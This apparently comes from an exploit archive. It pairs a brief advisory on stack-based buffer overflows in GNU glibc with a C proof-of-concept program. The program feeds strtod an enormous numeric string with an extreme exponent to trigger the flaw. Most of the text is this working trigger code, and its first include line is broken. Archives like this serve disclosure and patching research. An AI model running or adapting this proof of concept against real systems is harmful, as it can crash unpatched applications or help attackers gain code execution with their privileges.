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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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// source: https://www.securityfocus.com/bid/54982/info

GNU glibc is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data.

Local attackers can exploit these issues to run arbitrary code with privileges of the affected application. Failed exploit attempts can result in a denial-of-service condition. 

include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define EXPONENT "e-2147483649"
#define SIZE 214748364
int
main (void)
{
  char *p = malloc (1 + SIZE + sizeof (EXPONENT));
  if (p == NULL)
    {
      perror ("malloc");
      exit (EXIT_FAILURE);
    }
  p[0] = '1';
  memset (p + 1, '0', SIZE);
  memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT));
  double d = strtod (p, NULL);
  printf ("%a\n", d);
  exit (EXIT_SUCCESS);
}